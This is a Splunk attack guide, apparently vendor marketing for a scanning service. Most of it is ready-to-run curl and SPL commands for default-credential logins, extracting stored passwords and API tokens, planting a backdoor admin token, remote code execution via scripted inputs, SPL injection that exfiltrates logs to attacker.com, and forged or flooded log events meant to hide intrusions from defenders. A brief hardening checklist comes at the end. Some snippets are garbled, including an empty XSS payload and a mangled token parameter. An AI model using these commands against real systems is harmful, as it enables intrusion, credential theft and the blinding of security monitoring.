Splunk Security Testing: SIEM Exploitation, SPL Injection, REST API Abuse, and HEC Token Theft

Splunk aggregates logs from every system in your environment — making it simultaneously your primary security detection tool and a catastrophically high-value target. Compromising Splunk grants access to every log ingested: authentication logs, network flows, application traces, and security alerts. This guide covers the full Splunk attack surface: default credentials, SPL injection, REST API credential abuse, HEC token theft for log injection to blind security teams, dashboard XSS, and forwarder exploitation for lateral movement.

Table of Contents

  1. Splunk Attack Surface
  2. Default Credentials and Authentication
  3. REST API Exploitation
  4. SPL Injection Attacks
  5. HTTP Event Collector (HEC) Abuse
  6. Dashboard and Alert XSS
  7. Universal Forwarder Exploitation
  8. Alert Action Command Injection
  9. Splunk Security Hardening

Splunk Attack Surface

PortServiceAttack Vector
8000Splunk Web UIDefault creds, XSS, dashboard attacks
8089Splunk REST API / ManagementAPI credential abuse, token theft
8088HTTP Event Collector (HEC)Token theft, log injection to blind SIEM
9997Splunk Forwarder (receiving)Forwarder credential theft, log injection
8191KV StoreLookup table manipulation
514Syslog inputLog injection via syslog

Default Credentials and Authentication

# Splunk ships with default admin:changeme credentials
# Many production deployments never change them

# Test default credentials
curl -s -X POST "http://splunk:8089/services/auth/login" \
  -d "username=admin&password=changeme" | grep -i "sessionKey\|failed"

# If successful, extract the session token
SESSION=$(curl -s -X POST "http://splunk:8089/services/auth/login" \
  -d "username=admin&password=changeme" | \
  python3 -c "import sys; import xml.etree.ElementTree as ET; print(ET.parse(sys.stdin).find('.//sessionKey').text)")
echo "Session: $SESSION"

# Use session token for API calls
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/authentication/users?output_mode=json" | \
  python3 -c "import json,sys; [print(u['name'], u['content']['roles']) for u in json.load(sys.stdin)['entry']]"

# Try common passwords
for pass in changeme admin password splunk admin123 ""; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "http://splunk:8089/services/auth/login" \
    -d "username=admin&password=$pass")
  echo "$pass: HTTP $code"
done

REST API Exploitation

The Splunk REST API on port 8089 is the primary administrative interface. With valid credentials, it provides full control over the Splunk deployment.

Enumerating Data and Configuration

# List all indexes (reveals what data is being collected)
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/data/indexes?output_mode=json" | \
  python3 -c "
import json,sys
for idx in json.load(sys.stdin)['entry']:
    props = idx['content']
    print(f\"Index: {idx['name']} Size: {props.get('currentDBSizeMB',0)}MB Events: {props.get('totalEventCount',0)}\")
"

# List all saved searches (reveals detection logic)
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/saved/searches?output_mode=json&count=100" | \
  python3 -c "
import json,sys
for s in json.load(sys.stdin)['entry']:
    print(f\"Search: {s['name']}\")
    print(f\"  Query: {s['content'].get('search','')[:100]}\")
    print(f\"  Alert: {s['content'].get('is_scheduled',False)}\")
"

# Enumerate all inputs (reveals data sources being monitored)
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/data/inputs/all?output_mode=json" | \
  python3 -c "
import json,sys
for inp in json.load(sys.stdin)['entry']:
    print(f\"Input: {inp['name']} Type: {inp.get('content',{}).get('sourcetype','?')}\")
"

Credential and Token Extraction

# Extract stored credentials (passwords stored for scripted inputs, etc.)
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/storage/passwords?output_mode=json" | \
  python3 -c "
import json,sys
for cred in json.load(sys.stdin)['entry']:
    props = cred['content']
    print(f\"Realm: {props.get('realm','?')} User: {props.get('username','?')} Password: {props.get('clear_password','[encrypted]')}\")
"

# Extract auth tokens (Splunk API tokens)
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/authorization/tokens?output_mode=json" | \
  python3 -c "
import json,sys
for tok in json.load(sys.stdin)['entry']:
    print(f\"Token: {tok['name']} User: {tok['content'].get('username','?')} Expires: {tok['content'].get('expiration','never')}\")
"

# Create a persistent admin token (for backdoor access)
curl -s -X POST -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/authorization/tokens?output_mode=json" \
  -d "name=backup-token&user=admin¬_before=$(date +%s)&expires_on=+365d" | \
  python3 -c "import json,sys; t=json.load(sys.stdin)['entry'][0]; print(f\"Token: {t['content']['token'][:40]}...\")"

Remote Code Execution via REST API

# Splunk admin can run arbitrary OS commands via scripted inputs
# Create a scripted input that runs a command
curl -s -X POST -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/data/inputs/script" \
  -d "name=/bin/sh+-c+'id+>+/tmp/splunk_rce.txt'&interval=10&sourcetype=rce"

# Or use the Splunk CLI (if accessible)
curl -s -X POST -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/receivers/simple?sourcetype=test&index=main" \
  -d "test event"

# Run a search that executes a lookup-generating command with OS access
# | makeresults | eval cmd=system("id") | table cmd

SPL Injection Attacks

If an application constructs Splunk searches using user-controlled input without proper sanitization, SPL injection can exfiltrate arbitrary log data.

SPL Injection Patterns

# Vulnerable SPL construction pattern:
# query = f'index=security user="{user_input}" | stats count by action'
# Attacker input: " OR 1=1 | search index=* | table _raw

# Resulting query:
# index=security user="" OR 1=1 | search index=* | table _raw

# Full SPL injection via pipe operator
# Input: " | search index=* | head 1000 | eval exfil=urlencode(_raw) | http POST http://attacker.com exfil

# Test for SPL injection in web apps
curl "http://app/search?user=admin%22%7C+search+index%3D*+%7C+head+10"

# SPL injection via subsearch
# Input: ] [search index=passwords | table cleartext_password] [search x=
# Full query: index=main user="" [search index=passwords | table cleartext_password] [search x="]

SPL Data Exfiltration

# If SPL injection is possible, exfiltrate sensitive indexes
# Target: index=security (authentication logs, alerts)
# Target: index=internal (Splunk's own metadata — reveals indexer info)
# Target: index=_audit (all Splunk admin actions)
# Target: index=_introspection (system internals)

# Extract authentication events
index=security action=failure | table _time, user, src_ip, reason

# Extract all failed login attempts to find valid usernames
index=* (failed OR failure OR invalid OR "incorrect password") | \
  rex "user=(?P[^\s]+)" | stats count by username | sort -count

# Look for hardcoded credentials in logs
index=* (password OR passwd OR pwd OR secret OR api_key) NOT "REDACTED" | \
  table _time, _raw | head 100

HTTP Event Collector (HEC) Abuse

The HEC (port 8088) allows applications to push logs directly to Splunk using bearer tokens. HEC tokens are frequently hardcoded in application configs or CI/CD pipelines.

HEC Token Discovery and Abuse

# Find HEC tokens in code/config
grep -rE "HEC_TOKEN|SPLUNK_TOKEN|splunk_hec" . --include="*.env" --include="*.yaml" --include="*.json"
grep -rE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" . \
  --include="*.py" --include="*.js" --include="*.go" | grep -i splunk

# Test HEC token validity
HEC_TOKEN="your-hec-token"
curl -s -X POST "http://splunk:8088/services/collector/event" \
  -H "Authorization: Splunk $HEC_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"event": "test", "sourcetype": "manual"}' | python3 -m json.tool

# Check HEC token permissions (which index/sourcetype it can write to)
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/data/inputs/http?output_mode=json" | \
  python3 -c "
import json,sys
for tok in json.load(sys.stdin)['entry']:
    props = tok['content']
    print(f\"Token: {tok['name']} Index: {props.get('index','default')} Disabled: {props.get('disabled',False)}\")
"

Log Injection to Blind Security Team

# With a stolen HEC token, inject fake events to:
# 1. Flood the SIEM with noise (alert fatigue)
# 2. Inject false positive events to mask real attack activity
# 3. Inject events that trigger false alerts (distraction)

# Inject fake successful authentication event to mask brute force
curl -s -X POST "http://splunk:8088/services/collector/event" \
  -H "Authorization: Splunk $HEC_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "time": '"$(date +%s)"',
    "sourcetype": "linux_secure",
    "event": "Jul 03 08:00:00 server01 sshd[1234]: Accepted password for root from 203.0.113.42 port 54321 ssh2"
  }'

# Inject false "scan completed" event to confuse incident response
curl -s -X POST "http://splunk:8088/services/collector/raw" \
  -H "Authorization: Splunk $HEC_TOKEN" \
  -d "Jul 03 08:00:00 SCAN_COMPLETE: All systems normal, no threats detected"

# Bulk injection for alert fatigue (send 10k events)
for i in $(seq 1 10000); do
  curl -s -X POST "http://splunk:8088/services/collector/event" \
    -H "Authorization: Splunk $HEC_TOKEN" \
    -d "{\"event\":\"noise $i\",\"sourcetype\":\"noise\"}" &
done

Dashboard and Alert XSS

# Splunk dashboards render search results with limited XSS protection
# If an attacker can inject events into Splunk that get rendered in a dashboard,
# stored XSS can execute in the browser of anyone viewing the dashboard

# Inject an XSS payload via HEC
curl -s -X POST "http://splunk:8088/services/collector/event" \
  -H "Authorization: Splunk $HEC_TOKEN" \
  -d '{
    "event": "",
    "sourcetype": "web_access"
  }'

# The XSS triggers when a Splunk user runs a search showing this event and
# the dashboard renders the _raw field without escaping

# Alert email injection
# If alert emails include search results, SPL injection can inject email headers
# query: index=mail | eval subject=subject+"\\nBcc: attacker@evil.com" | sendemail

# Check if Splunk instance allows custom JavaScript in dashboards
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/properties/web/settings/enableSplunkWebSSL?output_mode=json"

Universal Forwarder Exploitation

The Splunk Universal Forwarder runs on every monitored host and connects back to the indexer. Its management port (port 8089) can be exploited if enabled.

# Universal Forwarder runs as SYSTEM/root on monitored hosts
# Management API enabled: allows deploying arbitrary apps with OS commands

# Check if forwarder management API is accessible
curl -s -k "https://monitored-host:8089/services" -u admin:changeme | head -10

# If accessible, deploy a malicious app via deployment server
curl -s -X POST -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/deployment/server/clients?output_mode=json" | \
  python3 -c "
import json,sys
for client in json.load(sys.stdin)['entry']:
    props = client['content']
    print(f\"Client: {client['name']} Hostname: {props.get('hostname','?')} OS: {props.get('os','?')}\")
"

# Forwarder credential extraction from outputs.conf
# (if you can read the forwarder host filesystem)
find /opt/splunkforwarder /opt/splunk -name "outputs.conf" 2>/dev/null | \
  xargs grep -E "password|username|token" 2>/dev/null

# Default deployment server credentials in $SPLUNK_HOME/etc/auth/
find /opt/splunk -name "*.pem" -o -name "*.key" 2>/dev/null | head -5

Alert Action Command Injection

# Splunk alerts can trigger shell scripts, webhooks, or custom alert actions
# If alert action scripts don't sanitize token values, command injection is possible

# View configured alert actions
curl -s -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/admin/alert_actions?output_mode=json" | \
  python3 -c "
import json,sys
for action in json.load(sys.stdin)['entry']:
    props = action['content']
    print(f\"Action: {action['name']} Command: {props.get('command','?')[:100]}\")
"

# Webhook alert action — inject into URL if user-controlled
# A webhook action that embeds the alert results in a URL parameter
# can be abused for SSRF:
# http://internal-service/api?alert=INJECTED_CONTENT&action=trigger

# Custom script actions run with Splunk process privileges
# Test by creating an alert with injected field values that reach the script
curl -s -X POST -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/saved/searches" \
  -d "name=test_injection&search=index=main | eval cmd=\"; id; echo\"&alert.track=1&alert_type=always&action.script=1&action.script.filename=alert_script.sh"

Splunk Security Hardening

# 1. Change default admin password immediately
curl -s -X POST -H "Authorization: Splunk $SESSION" \
  "http://splunk:8089/services/authentication/users/admin" \
  -d "password=STRONG_RANDOM_PASSWORD"

# 2. Enable TLS for all Splunk ports
# server.conf:
[sslConfig]
sslVersions = tls1.2,tls1.3
enableSplunkdSSL = true
requireClientCert = false

# 3. Restrict REST API to specific IPs
# server.conf:
[httpServer]
allowSslRenegotiation = false

# 4. Enable audit logging
# audit.conf:
[eventHashing]
attestation_publish_interval = 600

# 5. Use per-application HEC tokens with minimum index/sourcetype scope
# Never use a global HEC token with write access to all indexes

# 6. Disable Universal Forwarder management API if not needed
# deploymentclient.conf:
[deployment-client]
disabled = true

# 7. Role-based access control — viewers should not see all indexes
# authorize.conf:
[role_security_analyst]
importRoles = user
srchIndexesAllowed = security;network;windows
srchIndexesDefault = security
Splunk Security Checklist: Change default admin credentials; enable TLS on all ports; restrict REST API access by IP; audit HEC token scope and revoke unused tokens; enable Splunk audit logging; implement role-based index access; monitor _audit index for unauthorized access; harden Universal Forwarder management API; review saved searches for SPL injection risks.
Security TestMethodPriority
Default admin:changeme credentialsPOST /services/auth/loginCritical
REST API credential extractionGET /services/storage/passwordsCritical
HEC token discovery in codegrep for UUID-format tokensHigh
SPL injection in app searchesPipe character injection testingHigh
Dashboard XSS via log injectionHEC event with HTML payloadHigh
Alert action command injectionAlert configuration reviewHigh
Forwarder management APIcurl :8089 on forwarder hostsMedium
TLS configuration checkopenssl s_client :8089/:8088Medium

Automate Splunk SIEM Security Testing

Ironimo scans for exposed Splunk instances, default credentials, unauthenticated HEC endpoints, and REST API access control gaps as part of comprehensive infrastructure security testing.

Start free scan